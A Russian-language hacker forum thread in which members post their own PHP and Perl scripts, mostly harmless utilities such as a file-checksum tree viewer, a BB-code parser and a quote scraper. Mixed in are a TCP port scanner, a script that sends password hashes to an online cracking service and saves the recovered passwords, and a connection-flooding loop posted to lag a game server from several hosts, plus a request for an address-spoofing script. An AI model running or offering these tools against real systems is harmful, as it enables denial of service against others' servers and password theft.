HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 15.09.2007, 20:34
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


По умолчанию

Скрипт проверяет контрольные суммы дерикторий и файлов, и отображает изминения в виде дерева.

PHP код:
<?php

    set_time_limit
(300);
    
    
$SALT 'sdfsd';

    
$mysql=array(
                 
'host' => 'localhost',
                 
'user' => 'root',
                 
'pass' => '',
                 
'base' => 'mydb'
                 
);

    if (
mysql_connect($mysql['host'],$mysql['user'],$mysql['pass']) == false)
        die(
mysql_error());
    
    @
mysql_query('SET NAMES cp1251');

    if (
mysql_select_db($mysql['base']) == false
        die(
mysql_error());

    
$ALLFILES=array();
/*****************************************************************************************************************************/
        
    
function install()
    {
        
mysql_query('DROP TABLE IF EXISTS `controlsumm`');
        
$qyery='CREATE TABLE `controlsumm` (
                                            `path`   VARCHAR(256),
                                            `hesh`   VARCHAR(32)
                                            )'
;
        if(
mysql_query($qyery))
            echo 
'<center><h2>Таблица `controlsumm` была создана.</h2></center>';
        else 
            echo 
'<center><h2>Ошибка! не удалось создать таблицу `controlsumm`.</h2></center>';
    }
    
/*****************************************************************************************************************************/
    
    
function FileHash($file)
    {
        GLOBAL 
$SALT;
        
$hash=md5($file.$SALT);
        
$fo=fopen($file,'r');
        
        while(!
feof($fo))
        {
            
$content=fread($fo,1024);
            
$hash=md5($hash.$content);
        }        
        
fclose($fo);
        return 
$hash;
    }

/*****************************************************************************************************************************/

        
function kolzn($str$zn)
        {
            
$kol=0;
            
$i=strlen($str);
            for(
$j=0;$j<$i;$j++)
                if(
$str[$j] == $zn)
                    
$kol++;
                    
            return 
$kol;
        }
        
/*****************************************************************************************************************************/    
    
    
function makedamp($dir)
    {
        GLOBAL 
$SALT;
        
$hesh='';
        
$dirhesh='00000000000000000000000000000000';
        
        
$diradesk opendir($dir);
        
        while(
false !== ($name readdir($diradesk)))
        {
            if(
$name == '.' || $name == '..') continue;
                
            if(
filetype($dir.'/'.$name) == 'dir')
                
$hesh=makedamp($dir.'/'.$name);
            else  
                
$hesh=FileHash($dir.'/'.$name);
        
            if(!
mysql_query('INSERT INTO `controlsumm` VALUES (\''.mysql_escape_string($dir.'/'.$name).'\', \''.$hesh.'\')'))
                    die(
mysql_error());
                  
            
$dirhesh=md5($hesh.$dirhesh);
          }    
        return 
md5($dirhesh.$SALT);
    }

/*****************************************************************************************************************************/    

    
function checkall($dir)
    {
        GLOBAL 
$SALT,$ALLFILES;
        
$hesh='';
        
$dirhesh='00000000000000000000000000000000';
            
        
$diradesk opendir($dir);
        
        while(
false !== ($name readdir($diradesk)))
        {
            if(
$name == '.' || $name == '..') continue;
                
            if(
filetype($dir.'/'.$name) == 'dir')
            {
                
$ALLFILES[$dir.'/'.$name] = 1;;
                
$hesh=checkall($dir.'/'.$name);        
                
$ALLFILES[$dir.'/'.$name] = $hesh;
            }
            else  
            {
                
$hesh=FileHash($dir.'/'.$name);
                
$ALLFILES[$dir.'/'.$name] = $hesh;
            }
                          
            
$dirhesh=md5($hesh.$dirhesh);
         }    
        return 
md5($dirhesh.$SALT);
    }

/*****************************************************************************************************************************/    

    
function viewtree()
    {
        GLOBAL 
$SALT,$ALLFILES;
        
checkall('.');
        foreach(
$ALLFILES as $path => $hesh)
        {
    
            for(
$i=kolzn($path'/');$i>0;$i--)
                echo 
'&nbsp;|&nbsp;&nbsp;';
            
            
$res=mysql_query('SELECT hesh FROM `controlsumm`  WHERE `path`= \''.mysql_escape_string($path).'\' ');
        
            if(!
mysql_num_rows($res))
                echo 
'-&nbsp;<font color=009900>'.basename($path).'</font><br>';
            else
            {
                
$row=mysql_fetch_array($resMYSQL_NUM);
                if(
$row[0] != $hesh)
                    echo 
'-&nbsp;<font color=990000>'.basename($path).'</font><br>';
                else
                    echo 
'-&nbsp;'.basename($path).'<br>';
            
            }
        }        
    }
    
/*****************************************************************************************************************************/    
     
?>


<style>
table.menu{
background-color: #ffffff;
font-size:16px;
color:#000000;
text-align: center;
font-family: Cursive;
border:1px solid #cccccc;
width: 100%;
margin-top:5px;
link: ffffff;
}

td.i {
link: ffffff;
border:1px solid #cccccc;

font-size:13px;
color: #000000;
text-align: center;
color:#333333;
width: 11%;
}

input,SELECT {border:1px solid #cccccc; height: 20px;}
#a{
font-size:11px;
color:#333333;
text-align: center;
font-family: Cursive;
}

a{color:#999999;}
</style>

<script>
function refreshtable()
{
    if(confirm('Уверенны что хотите обновить таблицу хэшей?'))
        document.location='?p=hesh';
}

function createtable()
{
    if(confirm('Уверенны что хотите создать таблицу?'))
        document.location='?p=install';
}
</script>

<table width=80% align=center>
 <tr><td>

<table class=menu align=center><tr>
<td><a href='?p=tree'>[Дерево]</a></td>
<td><a href='JavaScript:refreshtable()'>[Хэшировать]</a></td>
<td><a href='JavaScript:createtable()'>[Установить]</a></td>
</tr></table>

</td></tr>
<tr><td align=center> <br>
<table  style="border:1px solid #cccccc;" width=100%><tr><td align=left> 
<?php
    
switch($_GET['p'])
{
    case 
'tree'viewtree(); break;
    case 
'hesh': if(!mysql_query('DELETE FROM `controlsumm`')) die(mysql_error()); makedamp('.'); viewtree();break;
    case 
'install'install();  break;
    default: 
viewtree();
}
    
?>

</td></tr></table>
</td></tr>
</table>
 
Ответить с цитированием

  #2  
Старый 16.09.2007, 13:13
canvasa
Познающий
Регистрация: 11.04.2007
Сообщений: 43
Провел на форуме:
126798

Репутация: 37
По умолчанию

Hi , I see people post they work here. There is 2 my coded perl scripts.

1. Port scanner:

Код:
#!/usr/bin/perl
# Website: http://saime.biz
# Usage: perl l33t.pl [ip]
use IO::Socket;
my ( $ip, $port, $endport );
     $endport=1337; $port=0; # You can edit the endport ....
     $ip = $ARGV[0] if $ARGV[0];
     $port=$ARGV[1] if $ARGV[1];
     $maxport=$ARGV[2]  if $ARGV[2];

print "[+]Scaning: $ip\r\n";
foreach (; $port<=$endport; $port++) {
    print "\n[+]Port $port is open!" if ( IO::Socket::INET->new(PeerAddr=>"$ip:$port",Proto=>'tcp',Timeout=>1));
}
exit;
2. IRC Bot.

Код:
#!/usr/bin/perl
# Options: !op , !kill , !version , !owner
# Website: http://saime.biz
print "http://saime.biz";
use strict;
use IO::Socket;
use Socket;
my $server = "irc.nitrousirc.net";
my $port= '6667';
my $chanel = "#perl";
my $nick = "King`Of`Noobs";
my $identify = "ohi";
my $name = "Hithere";
my $saime = "Saime";
my $socket = new IO::Socket::INET(PeerAddr => $server, PeerPort => $port, Proto => "tcp") or die "Get a life ?";
print $socket "NICK $nick\r\n";
print $socket "USER $identify 8 * :$name\r\n";
print $socket "JOIN $chanel\r\n";
while (my $body = <$socket>) {
chop $body;
if ($body =~ /^PING(.*)$/i) { print $socket "PONG $1\r\n"; }
if ($body =~ /^.*!version(.*)$/i) { print $socket ("PRIVMSG $chanel Saime's BOT V1.2!\r\n"); }
if ($body =~ /^.*!kill(.*)$/i) { print $socket ("QUIT\r\n"); }
if ($body =~ /^.*!op(.*)$/i) { print $socket ("MODE $chanel op $saime\r\n"); }
if ($body =~ /^.*!owner(.*)$/i) { print $socket ("PRIVMSG $chanel Owner: YourNick\r\n"); }
}
More to come later.
 
Ответить с цитированием

  #3  
Старый 16.09.2007, 13:23
The_HuliGun
Участник форума
Регистрация: 19.05.2007
Сообщений: 228
Провел на форуме:
4325663

Репутация: 240
По умолчанию

Лучшие цитаты дня з башорга. Поставил на сайт, и каждый день свежые приколы.
PHP код:
<?
 $file 
file_get_contents('http://www.bash.org.ru/best');
 
$file preg_match_all('|<div>(.+)</div>|U',$file,$frazes);
 for(
$i=0;$i<11;$i++){
    if (
$i<>5) echo "<hr>".$frazes[1][$i]."\r\n<hr>";
  }
?>
 
Ответить с цитированием

[php] Несколько полезных классов
  #4  
Старый 29.03.2008, 03:21
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


Arrow [php] Несколько полезных классов

Выкладываю тут свои php-классы, думаю, кому-нибудь пригодится

1). Класс рисования диаграмм и графиков. Весьма навороченная штука, умеет рисовать столбчатые и круговые диаграммы, оси координат, графики по точкам, легенды, графики функций, ступенчатые графики, сетку, градиенты... и всё это с множеством настроек. Содержит более 100 функций, есть очень подробное их описание и пара примеров.


2). Класс-архиватор. Позволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать их, поддерживает разные уровни сжатия, шифрование; умеет переименовывать/ перемещать/ удалять/ создавать файлы прямо в архиве, извлекать конкретные файлы, добавлять файлы в архив. Имеется подробное описание класса и пример работы.


3) Класс проверки параметров. Довольно давно его написал, умеет проверять числа, строки, url'ы, email'ы, хэши, даты и т.д. Имеется описание и пример.


Все три класса можно скачать тут:
http://rapidshare.com/files/103151532/scripts.zip.html
 
Ответить с цитированием

  #5  
Старый 10.01.2009, 13:19
burcev
Новичок
Регистрация: 30.06.2008
Сообщений: 26
Провел на форуме:
49719

Репутация: 2
По умолчанию

Цитата:
Сообщение от d_x  
Выкладываю тут свои php-классы, думаю, кому-нибудь пригодится

1). Класс рисования диаграмм и графиков. Весьма навороченная штука, умеет рисовать столбчатые и круговые диаграммы, оси координат, графики по точкам, легенды, графики функций, ступенчатые графики, сетку, градиенты... и всё это с множеством настроек. Содержит более 100 функций, есть очень подробное их описание и пара примеров.


2). Класс-архиватор. Позволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать их, поддерживает разные уровни сжатия, шифрование; умеет переименовывать/ перемещать/ удалять/ создавать файлы прямо в архиве, извлекать конкретные файлы, добавлять файлы в архив. Имеется подробное описание класса и пример работы.


3) Класс проверки параметров. Довольно давно его написал, умеет проверять числа, строки, url'ы, email'ы, хэши, даты и т.д. Имеется описание и пример.


Все три класса можно скачать тут:
http://rapidshare.com/files/103151532/scripts.zip.html

Перезалейте, пожалуйста, ссылка битая. Очень хочется посмотреть.
 
Ответить с цитированием

  #6  
Старый 29.03.2008, 03:47
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
Провел на форуме:
2080216

Репутация: 150
По умолчанию

PHP код:
<?php
  set_time_limit
(0)or die ("Время работы скрипта ограниченно!");
  
$in "hash.txt";             #Файл с хешеми
  
$out "crack.txt";           #Файл в которые будут записыватся крякнутые хеши
  
$hash file($in)             or die ("Не удается открыть файл: ".$in);
  
$fp   fopen ($out"a")     or die ("Не удается создать файл: ".$out);
  for (
$x=0;$x<count($hash);$x++):
  
$sock fsockopen ("md5.xek.cc"80);
  
$send "POST http://md5.xek.cc/index.php HTTP/1.0\r\n";
  
$send.= "User-Agent: Opera/9.23 (Windows NT 5.1;U; ru)\r\n";
  
$send.= "Host: md5.xek.cc\r\n";
  
$send.= "Accept: text/html image/png image/gif image/jpg\r\n";
  
$send.= "Accept-Language: ru-Ru,ru;q=0.9,en;q=0.8\r\n";
  
$send.= "Accept-Charset: iso8859-1, utf-8, utf-16, *;q=0.1\r\n";
  
$send.= "Accept-Encoding: deflate, gzip, x-gzip, identify, *;q=0\r\n";
  
$send.= "Referer: http://md5.xek.cc/index.php\r\n";
  
$send.= "Proxy-Connection: close\r\n";
  
$send.= "Content-Length: 46\r\n";
  
$send.= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
  
$send.= "hash=".trim($hash[$x])."&act=find\r\n\r\n\r\n\r\n";
  
fputs ($sock$send);
  while (!
feof($sock))
     {    
    @
$str.=   fgets ($sock,1024);
     }
$find preg_match("|(?<=: <b>)(.?)+(?=<\/b>)|",$str,$pass);
for (
$z=0;$z<$find;$z++):
fputs($fp,md5(trim($pass[$z])).":".$pass[$z]."\n");
endfor;
$str=0;
endfor;
fclose ($sock);
fclose ($fp);
?>
Парсер md5.xek.cc хеши берет из файла крякнутые записывает тож в файл в таком виде:
c4ca4238a0b923820dcc509a6f75849b:1

Последний раз редактировалось Sleep; 29.03.2008 в 06:50..
 
Ответить с цитированием

  #7  
Старый 29.03.2008, 15:52
_3lf
Новичок
Регистрация: 17.03.2008
Сообщений: 4
Провел на форуме:
106766

Репутация: 19
По умолчанию

Простенький скрипт для собирания прокси листов с различных ресурсов. Ищет на страницах по шаблону ip:рort. В файл надо записать адреса сайтов которые будем парсить.

Например:
http://www.nntime.com/socks/index.php?start=1
http://www.nntime.com/socks/index.php?start=25
http://www.nntime.com/socks/index.php?start=49
http://www.nntime.com/socks/index.php?start=73
http://www.nntime.com/socks/index.php?start=97
http://www.nntime.com/socks/index.php?start=121
http://www.nntime.com/socks/index.php?start=145
http://www.nntime.com/socks/index.php?start=169
http://www.nntime.com/socks/index.php?start=193
http://www.nntime.com/socks/index.php?start=217

Линк на скрипт
 
Ответить с цитированием

  #8  
Старый 29.03.2008, 22:17
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


По умолчанию

Код:
   * И так представляю вашему вниманию класс который парсит BB коды,
  класс отличяется тем что очень прост в плане добовления 
  новых BB кодов а также его легко переделать для работы с БД.
   
  ИНСТРУКЦИЯ по добовлению новых ББ кодов:
  BB код представляет из себя массив содержаший в себе
  параметры BB кода.
  Пример:
 'color' => array (
   1 => '<font="$1">$2', 
   2 => '</font>',
   3 => '2',
   4 => '[ font=x1 ]x2[ /font ]',
   ),
  Ключ массва это имя BB кода, 
  ВНИМАНИЕ: ключ должен содержать буквы нижнего регистра(МАЛЕНЬКИЕ)   
  и цифры.	
  Ключ со значением 1 - это открытие HTML тэга,
  а также вы обозначаете $n значение пришедшие от пользователя
 с 1 и далее по возростания где n - число
  Пример: в теге <font color="red">str</font> 2 значения пришедших
  от пользователя это цвет (red) и строка (str)а значит будет так
  <font color"$1">$2</font>.
  Далее кдюч 2 - закрываюший тэг(Необязатльное поле) 
  можете его не указывать если тэг закрытый например тэг <hr>.
 3ий ключ в массиве это максимальное количество значений которые
 должны прийти от пользователя.
 И 4ый ключ это как будет выглидеть BB код а где xn опять же
 значения от пользоваетя где n - число от 1 и далее
PHP код:
<?php

/**
 * @author @FATAL@
 * @copyright 2008
 */

class bbcode
{
    public 
$arrcode = array (
        
'color' => array (
            
=> '<font="$1">$2',
            
=> '</font>',
            
=> '2',
            
=> '[font=x1]x2[/font]',
            ),
        
'b' => array (
            
=> '<b>$1',
            
=> '</b>',
            
=> '1',
            
=> '[b]x1[/b]'
            
),
        
'link' => array (
            
=> '<a href="http://$1" target="_blank">$2',
            
=> '</a>',
            
=> '2',
            
=> '[link=x1]x2[/link]'
            
),
        
'size' => array (
            
=> '<font size="$1">$2',
            
=> '</font>',
            
=> '2',
            
=> '[size=x1]x2[/size]'
            
),
        
'hr' => array (
            
=> '<hr width="$1">',
            
=> '',
            
=> '1',
            
=> '[hr=x1]'
            
),
        
'center' => array (
            
=> '<div align="center">$1',
            
=> '</div>',
            
=> '1',
            
=> '[center]x1[/center]'
            
)
        );
    public function 
__construct($BBcodes)
    {
        
$this->BBcod($BBcodes);
    }
    public function 
BBcod($BBcodes)
    {
         
preg_match_all('#\[(\w+).*?\]#is'$BBcodes$pock);

         
$BBcodes htmlspecialchars($BBcodes);

        for (
$x 0$x <= count($pock['1']); $x++)
        {
            
$BB strtolower($pock['1'][$x]);
            
$str preg_quote($this->arrcode[$BB]['4'], '#');

            if (isset(
$this->arrcode[$BB]))
            {
                if (
strcasecmp($pock['1'][$x], 'link'))
                {
                    
$BBcodes str_ireplace('http://'''$BBcodes);
                }
                for (
$i 0$i <= $this->arrcode[$BB]['3']; $i++)
                {

                    
$str str_replace('x' $i'(.+?)'$str);
                }
                
$str '#' $str '#is';
            
$BBcodes preg_replace($str$this->arrcode[$BB]['1'] . $this->arrcode[$BB]['2'],$BBcodes);
            }


        }
        
$this->BBcodes $BBcodes;

    }
    public function 
__destruct() 
    {
        return 
"Идёт уничтожение";
    }
}
?>
Сильно не пинайте.. я старался 2 раза переписывал=)

Последний раз редактировалось Doom123; 29.03.2008 в 22:19..
 
Ответить с цитированием

  #9  
Старый 07.04.2008, 22:51
mr.The
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,205
Провел на форуме:
4778940

Репутация: 1257


По умолчанию

Скрипт грузит сервер WoW. для небольших домашних(в локалке) серверов подходит. загружает проц сервера WoW. (незабываем менять адрес сервера и число в цикле. заливаем на несколько хостов и получаем лаги в игре) ВОЗМОЖНО скрипт доработаю.

PHP код:
<?php
set_time_limit
(0);
ob_implicit_flush ();

$ip=gethostbyname('wow.site.com');

echo 
$ip;

for (
$i=0;$i<1000;$i++){
    
$wows=socket_create(AF_INET,SOCK_STREAM,0);
    
socket_connect($wows,$ip,3306);
    
socket_close($wows);
    
    
$wows=socket_create(AF_INET,SOCK_STREAM,0);
    
socket_connect($wows,$ip,3724);
    
socket_close($wows);
};
?>
 
Ответить с цитированием

  #10  
Старый 09.04.2008, 10:14
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме:
5209663

Репутация: 357


По умолчанию

А у ково есть такой скрипт чтобы подменять адрес сайта
Например Я на сайте 1.ru, а в адресной строке будит написано: 2.ru
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.